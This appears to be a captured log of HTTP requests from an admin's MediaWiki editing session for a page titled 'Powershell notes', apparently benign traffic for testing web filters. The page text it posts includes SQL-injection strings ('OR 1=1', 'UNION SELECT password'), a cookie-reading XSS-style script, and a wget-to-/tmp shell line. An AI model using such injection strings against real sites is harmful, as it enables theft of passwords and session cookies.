{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3221", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarym3pr54KEguOYT8hc", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on powershell, python3, ls -la and .htaccess\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarym3pr54KEguOYT8hc--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1728", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=&sectiontitle=&summary=Notes+on+powershell%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3329", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqXuC7xQ5YbyOLcNk", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on powershell, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk--\r\n"}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3323", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydozHAh3HgQYOsBJB", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on powershell, python3, ls -la and .htaccess\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB--\r\n"}
{"method": "GET", "target": "/wiki/Powershell_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision8=created; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 292", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=8&text=%3D%3D+Install+%3D%3D%0ARun+powershell+and+ls+-la.%0A&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 300", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+powershell&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=8&stashedtexthash=fb470cff5af43ff707bead07ac360a6cef4a06d9&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2123", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary51DczGwGUeO3iv04", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n8\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n8\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun powershell and ls -la.\r\n\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ powershell\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundary51DczGwGUeO3iv04--\r\n"}
{"method": "GET", "target": "/index.php?title=Powershell_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=Powershell+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
